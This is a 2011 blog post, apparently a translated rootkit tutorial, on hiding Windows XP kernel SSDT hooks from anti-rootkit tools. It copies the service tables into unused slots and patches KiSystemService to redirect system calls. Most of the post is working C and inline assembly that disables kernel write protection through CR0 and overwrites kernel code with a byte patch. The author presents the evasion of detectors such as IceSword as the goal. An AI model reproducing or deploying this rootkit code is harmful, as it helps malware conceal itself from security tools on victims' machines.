Thursday, September 1, 2011

Hook Specials 25 :The Age-Old Art of SSDT Hooking(But Bypass Most ARK Tools...)

Author:wowelf 
Same artile watched the day before yesterday, But it is deleted, So I write now.

    SSDT HOOK is old topic, It is first lesson about ring0 rookit. Let us furbish struture of system service table:
   
Code:
typedef struct _SERVICE_DESCRIPTOR_TABLE_SHADOW
{
  SERVICE_DESCRIPTOR_TABLE  ntoskrnl;  //ntoskrnl.exe
  SERVICE_DESCRIPTOR_TABLE  win32k;    //win32k.sys
  SERVICE_DESCRIPTOR_TABLE  NotUse1;   //未使用
  SERVICE_DESCRIPTOR_TABLE  NotUse2;   //未使用
}SERVICE_DESCRIPTOR_TABLE_SHADOW,*PSERVICE_DESCRIPTOR_TABLE_SHADOW;
     Only ntoskrnl is used on KeServiceDescriptorTable, ntoskrnl and win32k is both used on KeServiceDescriptorTableShadow, But two service tables isn't use NotUse1、NotUse2, And almost check tools of SSDT HOOK both check front two parts, Of course, A little people will use behind two parts.

    Train of thought, Copy ntoskrnl and win32k, Apart move They into NotUse1 and NotUse2, So Table modified and copyed to realize SSDT HOOK, Don't modify original table , So ARK tool can't check .

     Above train of thought has a difiiculty ,That how to let system call to entry NotUse1 and NotUse2 rather than original ntoskrnl and win32k, Good luck, I find a space on KiSystemService:

Code:
inc     large dword ptr fs:638h //<--There record system calls, may replace it
mov     esi, edx
mov     ebx, [edi+0Ch]          //<--edi save ntoskrnl or win32k on service table
xor     ecx, ecx
mov     cl, [eax+ebx]
mov     edi, [edi]
mov     ebx, [edi+eax*4]
sub     esp, ecx
shr     ecx, 2
mov     edi, esp
cmp     esi, ds:_MmUserProbeAddress
//The code on XP, Other windows system has similar code
The way is  inc  large dword ptr fs:638h modify  add edi,0x20, Such original edi point ntoskrnl or win32k to change point to NotUse1 or NotUse2, System-call go directly our copy table.   
     Test result, R.K.U、IceSword both can't test to modifiy code.
    
Code:
BOOLEAN
AddMyServiceTable(
          )
{

  if( !g_bIsMyServiceTableCreated ){
    DbgPrint( "AddMyServiceTable() Create Service table first !\n" );
    return FALSE;
  }


  __asm{
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }

  RtlCopyMemory( (PVOID)&KeServiceDescriptorTable->NotUse1,
               (PVOID)&mKeServiceDescriptorTable->ntoskrnl,
           sizeof(SERVICE_DESCRIPTOR_TABLE)*2 );

  RtlCopyMemory( (PVOID)&KeServiceDescriptorTableShadow->NotUse1,
               (PVOID)&mKeServiceDescriptorTableShadow->ntoskrnl,
           sizeof(SERVICE_DESCRIPTOR_TABLE)*2 );

  __asm{
    mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
  }

  return TRUE;
}
代码:
BOOLEAN
HookSysCall(
  )
{
  //add edi,20h
  //nop ....
  //
  UCHAR cHackCode[] = { 0x83,0xC7,0x20,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };

  KIRQL  oldIrql;

  if( g_bIsHooked )
    return TRUE;

  if( !g_bAddressInited ){
    DbgPrint( "Syscall address not inited\n" );
    return FALSE;
  }

  if( KiSystemService_hack_code_size > sizeof( cHackCode ) ){
    return FALSE;
  }

 
  __asm{
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }


  RtlCopyMemory( g_pSysCallOrigCode,(PVOID)KiSystemService_hack_address,KiSystemService_hack_code_size );
 
  KeRaiseIrql( DISPATCH_LEVEL,&oldIrql );

  RtlCopyMemory( (PVOID)KiSystemService_hack_address,cHackCode,KiSystemService_hack_code_size );

  KeLowerIrql( oldIrql );

  __asm{
    mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
  }

  g_bIsHooked =  TRUE;

  return TRUE;
}
//----------------------------------------------------------------------------

No comments:

Post a Comment